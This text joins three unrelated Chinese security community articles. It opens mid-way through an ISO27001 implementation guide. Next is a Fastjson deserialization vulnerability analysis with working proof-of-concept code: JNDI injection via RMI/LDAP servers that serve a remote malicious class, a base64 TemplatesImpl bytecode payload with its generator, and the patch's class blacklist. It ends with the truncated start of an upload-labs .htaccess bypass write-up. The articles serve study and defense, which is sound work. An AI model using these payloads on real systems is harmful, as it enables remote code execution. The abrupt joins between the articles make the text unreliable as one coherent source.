供应商的关系我统一理解为非本公司人员的第三方，对于第三方的要求首先是满足公司的基础要求，跟公司的员工一个级别，但是对于特定的系统他们可能没有权限，还需要签定保密协议
| 第三方安全管理策略 | 参考策略文件
A15.1.2 | 处理供应商协议中的安全问题 | 应与每个可能访问、处理、存储组织信息、与组织进行通信或为组织提供 IT
基础设施组件的供应商建立并协商所有相关的信息安全要求 | | |
A15.1.3 | 信息和通信技术供应链 | 供应商协议应包括信息和通信技术服务以及产品供应链相关信息安全风险处理的要求。 | | |
**A15.2** | **供应商服务交付管理** | **保持符合供应商交付协议的信息安全和服务交付的商定水准。** | | |
A15.2.1 | 供应商服务的监视和评审 | 组织应定期监视、评审和审计供应商服务交付。 | 同15.1 | 第三方安全管理策略 | 参考策略文件
A15.2.2 | 供应商服务的变更管理 |
应管理供应商服务提供的变更，包括保持和改进现有的信息安全策略、规程和控制措施，并考虑到业务信息、系统和涉及过程的关键程度及风险的再评估。 | | |
**A16** | **信息安全事件管理** | | | |
**A16.1** | **信息安全事件和改进的管理** | **确保采用一致和有效的方法对信息安全事件进行管理，包括安全事件和弱点的传达。** | |
|
A16.1.1 | 职责和规程 | 宜建立管理职责和规程，以确保快速、有效和有序地响应信息安全事件。 |
定义什么是安全事件，事件等级，怎么响应，总结经验，最后的取证调查，为后面的业务连续性计划打基础 | 信息安全事件管理策略 | 信息安全事件管理制度
A16.1.2 | 报告信息安全事态（发生） | 信息安全事态宜尽可能快地通过适当的管理渠道进行报告。 | | |
A16.1.3 | 报告信息安全弱点 （未发生） |
宜要求使用组织信息系统和服务的所有雇员和承包方人员记录并报告他们观察到的或怀疑的任何系统或服务的安全弱点。 | | |
A16.1.4 | 评估和确定信息安全事态 | 信息安全事态应被评估，并且确定是否划分成信息安全事件。 | | |
A16.1.5 | 信息安全事件响应 | 宜具有与信息安全事件响应相一致的文件化规程 | | |
A16.1.6 | 对信息安全事件的总结 | 获取信息安全事件分析和解决的知识应被用户降低将来事件发生的可能性或影响。 | | |
A16.1.7 | 证据的收集 | 组织宜定义和应用识别、收集、获取和保存信息的程序，这些信息可以作为证据。 | | |
**A17** | **业务连续性管理的信息安全方面** | | | |
**A17.1** | **信息安全连续性** | **组织的业务连续性管理体系中应体现信息安全连续性。** | | |
A17.1.1 | 信息安全的连续性计划 | 组织应确定不利情况下（例如，一个危机或危难时）信息安全的要求和信息安全管理连续性。 |
保证业务在任何情况下都稳定的运行，首要要明确业务的RPO、RTO，再更具这个指定对应的保证计划和措施。最后为了验证有效性还需要进行应急演练 |
业务连续性管理策略 | 参考策略文件
A17.1.2 | 实施信息安全连续性计划 | 组织应建立、文件化、实施和维护过程、规程和控制措施，确保在负面情况下要求的信息安全连续性级别。 | |
|
A17.1.3 | 验证、评审和评价信息安全连续性计划 |
组织应定期验证已制定和实施信息安全业务连续性计划的控制措施，以确保在负面情况下控制措施的及时性和有效性。 | | |
**A17.2** | **冗余** | **确保信息处理设施的有效性。** | | |
A17.2.1 | 信息处理设施的可用性 | 信息处理设备应冗余部署，以满足高可用性需求。 | 直接字面意思，重要的信息系统要有冗余 | 业务连续性管理策略
| 参考策略文件
**A18** | **符合性** | | | |
**A18.1** | **符合法律和合同要求** | **避免违反任何法律、法令、法规或合同义务以及任何安全要求。** | | |
A18.1.1 | 可用法律及合同要求的识别 |
对每一个信息系统和组织而言，所有相关的法律依据、法规和合同要求，以及为满足这些要求组织所采用的方法，宜加以明确地定义、形成文件并保持更新。 |
满足国家法律法规上级单位要求。收集法律法规，主要选取公司引用的法律法规条文，每年要有专人更新；在不违法法律的前提下还要保证自己的权益，如：著作权、知识产权
| 信息安全法律法规策略 | 信息安全法律法规管理制度
A18.1.2 | 知识产权（IPR） | 宜实施适当的规程，以确保相关的知识产权和所有权的软件产品的使用，符合法律、法规和合同的要求。 | | |
A18.1.3 | 保护记录 | 宜防止记录的遗失、毁坏、伪造、非授权访问和非授权删除，以满足法令、法规、合同和业务的要求。 | | |
A18.1.4 | 隐私和个人身份信息保护 | 隐私和个人身份信息保护宜确保符合相关法律、法规的要求。 | | |
A18.1.5 | 密码控制措施的规则 | 使用密码控制措施宜遵从相关的协议、法律和法规。 | 密码技术管理策略 | 参考策略文件 |
**A18.2** | **信息安全评审** | **确保信息安全实施及运行符合组织策略和程序。** | | |
A18.2.1 | 独立的信息安全评审 | 宜定期或发生较大变更时对组织的信息安全处置和实施方法（即控制目标、控制、策略、过程和信息安全程序）进行评审。 |
同5.1.2，安全管理人员开展独立评审，对信息安全体系本身进行评审，因为公司是不断的发展变化的，制度和策略要跟随变化。 | 信息安全管理手册 |
信息安全体系运行评审程序内部审核管理程序
A18.2.2 | 符合安全策略和标准 | 管理者宜定期对所辖职责范围内的信息安全过程和规程评审，以确保符合相应的安全政策、标准及其他安全要求。 | |
|
A18.2.3 | 技术符合性评审 | 信息系统宜被定期评审是否符合组织的信息安全政策和标准。 | |
## 5 **文档编写架构**
ISO27001对应的文档说明其实叫适用性声明，如上表文件和控制项是一一对应的，标准文档架构为：手册、程序文件、作业指导书、运行记录：
Ø 手册：就是对ISO27001体系的一个总体的说明文档
Ø 程序文件：具体描述每一个对应的标准要做什么
Ø 作业指导书：是对程序文件进一步解读，怎么做
Ø 运行记录：是对做了上述工作后的一个产出文档，可以是电子记录或纸质文件
针对这个情况咨询过评审老师，现在可以按照自己公司的实际情况去执行，但是手册文件必须都有。我们针对公司的实际情况做了修改，因为很多时候落地的时候都是以制度去要求和约束，我们把原有架构做了改变，重写全部的策略和要求，当然过程中有参考，整个过程耗费2人一个月时间（对于技术出身的人来说是艰苦的岁月），中途还修改了2个版本，跟领导对内容一个一个文档审。
变为：手册、策略、制度、运行记录
Ø 手册：一样没变
Ø 策略：针对标准要求，提出我们自己公司的要求
Ø 制度：用制度明确需要做什么，要求怎么做
Ø 运行记录：不单纯为运行记录文件，还包含了怎么做的具体操作文档
最后强调一下最好不要拍脑袋写一些要求，尽量实事求是，做到什么程度就在这个程度是增加安全要求。
## 6 **体系运行**
### 6.1 **体系发布**
安全的工作如果由上致下会很顺利很容易推动，但是，体系的发布一定需要领导层去帮你发布执行，让全公司知道有这样一件事情，然后给领导要讲解（洗脑）这个东西是做什么的，可以为公司带来什么好处，让领导认同或部分认同你的观点，这样对后面的体系建设会很有帮助。
## 6.2 **体系分解**
按照正常套路来说ISO27001要做的东西很多，我把安全体系分割为了3大块：管理、技术、和运行（前面也有提到）。 **管理：** 主要是制度、规范约束；
**技术** ：主要是实现目标； **运行** ：主要是让前面的2点不要成为空谈，要有定期检查产出。
本来在按照公司的现状我制定的安全是分三步走的：起步-成长-成熟，成熟后运行2-3年再通过ISO27001的审核，在我个人看来毫无压力。但是由于要拿证时间只有1年，所有的东西都需要重新做没法按照套路来。
如果大家的时间较多，建议做一次全面的风险评估，针对风险一个一个完善文档。
### 6.3 **体系执行**
执行主要是看检查在上述文档中的产出，如：发布了《安全运维管理制度》，那么根据要求，可能需要对机房进行周期性巡检产出《机房巡检记录表》，进出机房需要产出《机房进出记录表》。
按照个套路检查一个制度文件的产出，因此我们做了一个表，便于后面的审计：
大家可以把一些事情简单化，什么什么都用文档很繁琐，如：
基于django 自主开发的资产管理系统，如果出现什么漏洞可以快速定位。
上面只是日常的执行要求，ISO27001还会有一个每年的内审和评审，内审：检查日常工作是否按照要求做好；评审：审核制度体系是否需要跟上公司的业务变化，做错对应的调整。
## 6.4 **体系培训**
体系制度已经发布后，执行是有阻力的，因为打破了原有的约定俗成，增加了各个部门的工作量，这个需要非常耐心的去解释解答（这个过程很多人会找碴），需要培训去使大家有一定认识，从而配合你做事情。当然最重要的是从领导层面推动，那样阻力就少很多，我们在这个过程中也没少发生申请事件，被删文件夹、中勒索病毒、数据库被暴力破解还有来自合作伙伴的漏洞通报。
培训可以从以下几块做：
Ø 新员工培训
Ø 平时公司内部培训、讨论、讲座
Ø 真实案例延时（渗透测试、当场干公司的系统，顺便展示实力，不过这个度自己要把握好）
多抛头露面准没坏处。
## 7 **总结**
简单介绍了ISO27001的建设，一个体系文件写下来，深深的觉得这个东西就是套路，环环相扣，都是相互引用的。在刚开始的时候压力、阻力会很大，但是做好了后面是一劳永逸，让制度执行几个月后做内审和评审，发现问题并解决，做完这些就基本可以申请外审了。
最后如果大家有想法要做的话可以先看一次标准，理解一下，再结合实际情况进行编写，因为在制度文档里面写到的就需要实现，外审的时候就要查的，尽量实事求是。
后面会对申请审核的前中后和大家分享。
[hr]新增附件，里面的文档是最早期版本，后面我们换了另外一套思路，上文有说。
第一版的模版应该能满足大家的基本需求，提供的只是一个架构体系思路，具体的文档不够详细的，大家根据实际情况补充吧。
有打码不严谨的地方大家就忽略吧（大家不要扣细节，重在参考）。
设置个积分下载吧。 | 社区文章 |
# Fastjson简介
Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java
Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址：<https://github.com/alibaba/fastjson>
# Fastjson序列化与反序列化
## 序列化
Student.java
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
然后通过Ser.java进行序列化
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}
`SerializerFeature.WriteClassName`是`toJSONString`设置的一个属性值，设置之后在序列化的时候会多写入一个`@type`，即写上被序列化的类名，`type`可以指定反序列化的类，并且调用其`getter/setter/is`方法。
没加`SerializerFeature.WriteClassName`时
## 反序列化
上面说了有parseObject和parse两种方法进行反序列化，现在来看看他们之间的区别
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
parseObject其实也是使用的parse方法，只是多了一步toJSON方法处理对象。
看下面几种反序列化方法
一二种方法没用成功反序列化，因为没有确定到底属于哪个对象的，所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了`@type`，修改后代码如下
这样便能成功反序列化，可以看到parse成功触发了set方法，parseObject同时触发了set和get方法，因为这种`autoType`所以导致了fastjson反序列化漏洞
# Fastjson反序列化漏洞
我们知道了Fastjson的autoType，所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作，以下面demo为例
Student.java
import java.io.IOException;
public class Student {
private String name;
private int age;
private String sex;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}
Unser.java
import com.alibaba.fastjson.JSON;
public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}
## Fastjson反序列化流程分析
在parseObject处下断点，跟进
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}
第一行将json字符串转化成对象，跟进parse
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
继续跟进
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
这里会创建一个DefaultJSONParser对象，在这个过程中有如下操作
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
判断解析的字符串是{还是[并设置token值，创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12，所以进入如下判断
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);
在第一行会创建一个空的JSONObject，随后会通过 parseObject 方法进行解析，在解析后有如下操作
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}
if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}
这里会通过scanSymbol获取到@type指定类
然后通过 TypeUtils.loadClass 方法加载Class
这里首先会从mappings里面寻找类，mappings中存放着一些Java内置类，前面一些条件不满足，所以最后用ClassLoader加载类，在这里也就是加载类Student类
接着创建了ObjectDeserializer类并调用了deserialze方法
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
首先跟进getDeserializer方法，这里使用了黑名单限制可以反序列化的类，黑名单里面只有Thread
到达deserialze方法继续往下调试，就是ASM机制生成的临时代码了，这些代码是下不了断点、也看不到，直接继续往下调试即可，最后调用了set和get里面的方法
# Fastjson 1.2.22-1.2.24反序列化漏洞
这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
## JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入，可以使用RMI+JNDI和RMI+LDAP进行利用
### 漏洞复现
**RMI+JNDI**
POC如下，@type指向com.sun.rowset.JdbcRowSetImpl类，dataSourceName值为RMI服务中心绑定的Exploit服务，autoCommit有且必须为true或false等布尔值类型：
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
服务端JNDIServer.java
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
远程恶意类badClassName.class
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}
客户端JNDIClient.java
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
**LDAP+JNDI**
POC和上面一样，就是改了一下url，因为是ldap了
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}
LdapServer.java
这里需要`unboundid-ldapsdk`包(<https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar>)
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
LDAPClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}
恶意远程类和上面一样
### 漏洞分析
前面的流程都是一样的，通过 TypeUtils.loadClass
方法加载Class，创建ObjectDeserializer类并调用deserialze方法，分析一下上面流程没写的部分
调用deserialze后继续往下调试，进入setDataSourceName方法，将dataSourceName值设置为目标RMI服务的地址
接着调用到setAutoCommit()函数，设置autoCommit值，其中调用了connect()函数
跟进connect方法
这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值，是我们可控的，所以就造成了JNDI注入漏洞。
调用栈如下：
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient
## TemplatesImpl利用链
漏洞原理：Fastjson通过`bytecodes`字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类，调用其构造方法，造成任意命令执行。
但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField，所以利用面很窄，但是这条利用链还是值得去学习
### 漏洞复现
TEMPOC.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TEMPOC extends AbstractTranslet {
public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}
这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件，通过如下方式进行base64加密以及生成payload
import base64
fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
POC如下
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
### 漏洞分析
前面的流程是通用的，直接分析不同的部分。
进入deserialze后解析到key为`_bytecodes`时，调用parseField()进一步解析
跟进parseField方法，对`_bytecodes`对应的内容进行解析
跟进FieldDeserializer#parseField方法
解析出`_bytecodes`对应的内容后，会调用setValue()函数设置对应的值，这里value即为恶意类二进制内容Base64编码后的数据
继续跟进FieldDeserializer#setValue方法
这里使用了set方法来设置`_bytecodes`的值
接着解析到`_outputProperties`的内容
这里去除了_，跟进发现使用反射调用了`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()`
跟进TemplatesImpl#getOutputProperties
跟进newTransformer方法
跟进getTransletInstance方法
这里通过defineTransletClasses创建了TEMPOC类并生成了实例
进而执行TEMPOC类的构造方法
所以就执行了任意代码，整个调用栈如下
<init>:13, TEMPOC
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:7, Unser
### 一些问题解惑
#### 为什么要继承AbstractTranslet类
上面说了通过defineTransletClasses创建了TEMPOC类并生成了实例，现在我们跟进这个方法看一看
如果父类名不为ABSTRACT_TRANSLET那么_transletIndex就会为0最后抛出异常
#### 为什么需要对_bytecodes进行Base64编码
上面说了通过FieldDeserializer#parseField对`_bytecodes`对应的内容进行解析得到对value是base64解码后的内容，那么我们就看一看value值怎么来的
跟进deserialze方法
跟进parseArray方法
跟进ObjectDeserializer#deserializer方法
跟进byteValue方法
将`_bytecodes`的内容进行base64解码
#### 为什么需要设置_tfactory为{}
在调用defineTransletClasses方法时，若`_tfactory`为null则会导致代码报错
## 补丁分析
从1.2.25开始对这个漏洞进行了修补，修补方式是将TypeUtils.loadClass替换为checkAutoType()函数：
使用白名单和黑名单的方式来限制反序列化的类，只有当白名单不通过时才会进行黑名单判断，这种方法显然是不安全的，白名单似乎没有起到防护作用，后续的绕过都是不在白名单内来绕过黑名单的方式，黑名单里面禁止了一些常见的反序列化漏洞利用链
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
# 参考文档
<https://paper.seebug.org/994/>
<http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
<https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
<https://yoga7xm.top/2019/07/20/fastjson/> | 社区文章 |
# 概要
upload-labs 一共20关，是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场...
**项目地址** ：<https://github.com/c0ny1/upload-labs>
最近在练习 upload-labs 里面的关卡，耐心的做完题目后受益良多...
# windows下创建文件
Pass-04 这一关主要考察了 `.htaccess` 的利用
由于黑名单没有过滤掉 `.htaccess` ,所以我们能够上传`.htaccess` 文件导致其后上传的其他文件能够解析成 php，从而拿到shell
但是我在 windows 上直接创建 `.htaccess` 时会弹窗报错，告知必须输入文件名
因为我们输入的是 `.htaccess` ，猜测 windows 把它当做了是一个文件的后缀名，所以提示我们输入文件前面的名字
那么为什么不能这样进行创建呢？
具体可见：The Old New Thing： <https://devblogs.microsoft.com/oldnewthing/?p=22763>
当时就直接改成 `.htaccess.txt` 了，然后通过传统的办法，利用 burpsuite 抓包改包。重新改为 `.htaccess`
但是后知后觉的了解了一下 windows 的特性，发现有如下解决办法
**方法一：**
